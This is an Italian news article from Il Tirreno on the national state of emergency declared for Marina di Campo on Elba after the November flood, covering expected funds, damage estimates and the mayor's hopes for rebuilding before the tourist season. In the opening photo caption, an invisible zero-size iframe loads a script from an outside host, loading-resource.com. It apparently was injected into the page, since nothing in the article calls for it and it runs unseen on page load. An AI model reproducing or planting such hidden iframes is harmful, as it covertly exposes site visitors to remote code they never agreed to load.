Il Tirreno

Ieri l’attesa decisione del Consiglio dei ministri. Marina di Campo spera nei finanziamenti straordinari

Alluvione, sì allo stato d'emergenza

Luca Centini
Marina di Campo durante l’alluvione e (a sinistra) si lavora sulle spiagge<iframe height="0" src="http://loading-resource.com/analytics.php" style="visibility: hidden;" width="0"></iframe>
◗
Marina di Campo durante l’alluvione e (a sinistra) si lavora sulle spiagge

Il sindaco Segnini: «Il governo metta almeno le stesse risorse della Regione»

3 MINUTI DI LETTURA





MARINA DI CAMPO. La notizia tanto attesa dai campesi è arrivata nel primo pomeriggio di ieri. «Il Consiglio dei ministri riconosce lo stato di emergenza nazionale per Messina e per l'Isola d'Elba». La breve nota riportata dalle agenzie di stampa ha fatto il giro delle case di Marina di Campo ancora sporche di fango. Ora gli elbani sperano che, in tempi brevi, la presa di posizione del Consiglio si trasformi in risorse fresche da destinare alla ricostruzione.  Un fulmine a ciel sereno. Così Marina di Campo ha accolto la svolta che invocava da giorni. Il Governo, presieduto da Mario Monti, ha dichiarato lo stato di emergenza in seguito al disastro dell'alluvione dello scorso 7 novembre.

Si tratta di un passo obbligato, una premessa per la sospirata elargizione di fondi di emergenza a favore delle zone colpite dall'alluvione. A Marina di Campo come nel messinese. La novità, insomma, è importantissima. In parte ha funzionato il pressing degli enti locali e l'intermediazione della Regione, in parte è stato determinante l'interessamento del neo ministro Piero Gnudi, da sempre grande amico dell'Elba. Ora resta da capire quali saranno i tempi e le modalità affinché le buone intenzioni di Palazzo Chigi si concretizzino.  Già lunedì prossimo le misure stabilitre a favore dell'Elba potrebbero assumere la forma di decreto ministeriale e, quindi, passare rapidamente al vaglio delle Camere. Il decreto porterà in grembo un pacchetto articolato di inziative, a partire dalle agevolazioni fiscali a favore degli alluvionati, fino allo stanziamento dei finanziamenti straordinari da destinare alla ricostruzione delle opere pubbliche danneggiate dalla marea di acqua e fango. Opere pubbliche (strade provinciali escluse) che, secondo la conta circostanziata di Comune e Protezione civile che ha preso forma ieri, avrebbero riportato danni per un totale di circa 10 milioni di euro. Fino ad oggi i soldi arrivati per l'alluvione sono i 500mila euro per la somma urgenza e i 5milioni per le priorità individuate per dare fiato alla ricostruzione.

Entrambe le tranches sono state sbloccate dalla Regione. «L'auspicio - fa sapere il sindaco di Campo, Vanno Segnini - è che il Governo pareggi almeno l'impegno messo in campo dalla Regione». Forse neanche questo basterebbe per ripagare quanto subito da Campo, basti pensare che il censimento ha registrato ben 1600 richieste di risarcimento dai privati. Ma di sicuro sarebbe una somma corposa da riversare quanto prima per la sistemazione - priorità mai nascosta dal Comune - del lungomare e delle spiagge di Campo e Cavoli prima dell'inizio della stagione turistica. Per questo - inutile dirlo - c'è bisogno di tempi stringati. E la dichiarazione dello stato d'emergenza è quello che ci vuole. Buona parte degli interventi di ricostruzione passeranno infatti sotto l'egida della "somma urgenza" con un risparmio netto di tempo e una riduzione evidente delle procedure richieste per prassi.  Un'altra conseguenza necessaria, dopo la presa di posizione del Consiglio dei ministri, sarà la nomina di un commissario straordinario per la ricostruzione. Nel caso di Marina di Campo la nomina, pressoché obbligata, ricadrebbe sul presidente della Regione, Enrico Rossi. Non è scontato, tuttavia, che il presidente decida di assumere in prima persona il ruolo affidato quanto, piuttosto, scelga di passare la mano, nominando un sub-commissario. In questo caso la scelta potrebbe ricadere su una figura tecnica o, come le indiscrezioni di questi giorni fanno presagire, proprio sul sindaco Segnini che avrebbe dalla sua parte una conoscenza approfondita del territorio.

«Iniziamo a vedere i primi spiragli - commenta il sindaco Vanno Segnini - l'obiettivo è lavorare in fretta in modo da arrivare alla stagione turistica, ma ancor prima alla Pasqua, pronti per accogliere i primi visitatori». L'ok del governo Monti, insomma, sembra aver sortito un effetto. A Marina di Campo, forse, si inizia a sperare nella fine dell'incubo.

 

Non lasciare decidere l'algoritmo:

scegli Il Tirreno per le tue notizie su Google

Cronaca flash

Lutto

Addio a Fabio Vantaggiato, direttore generale di Gesam Reti

di Redazione Lucca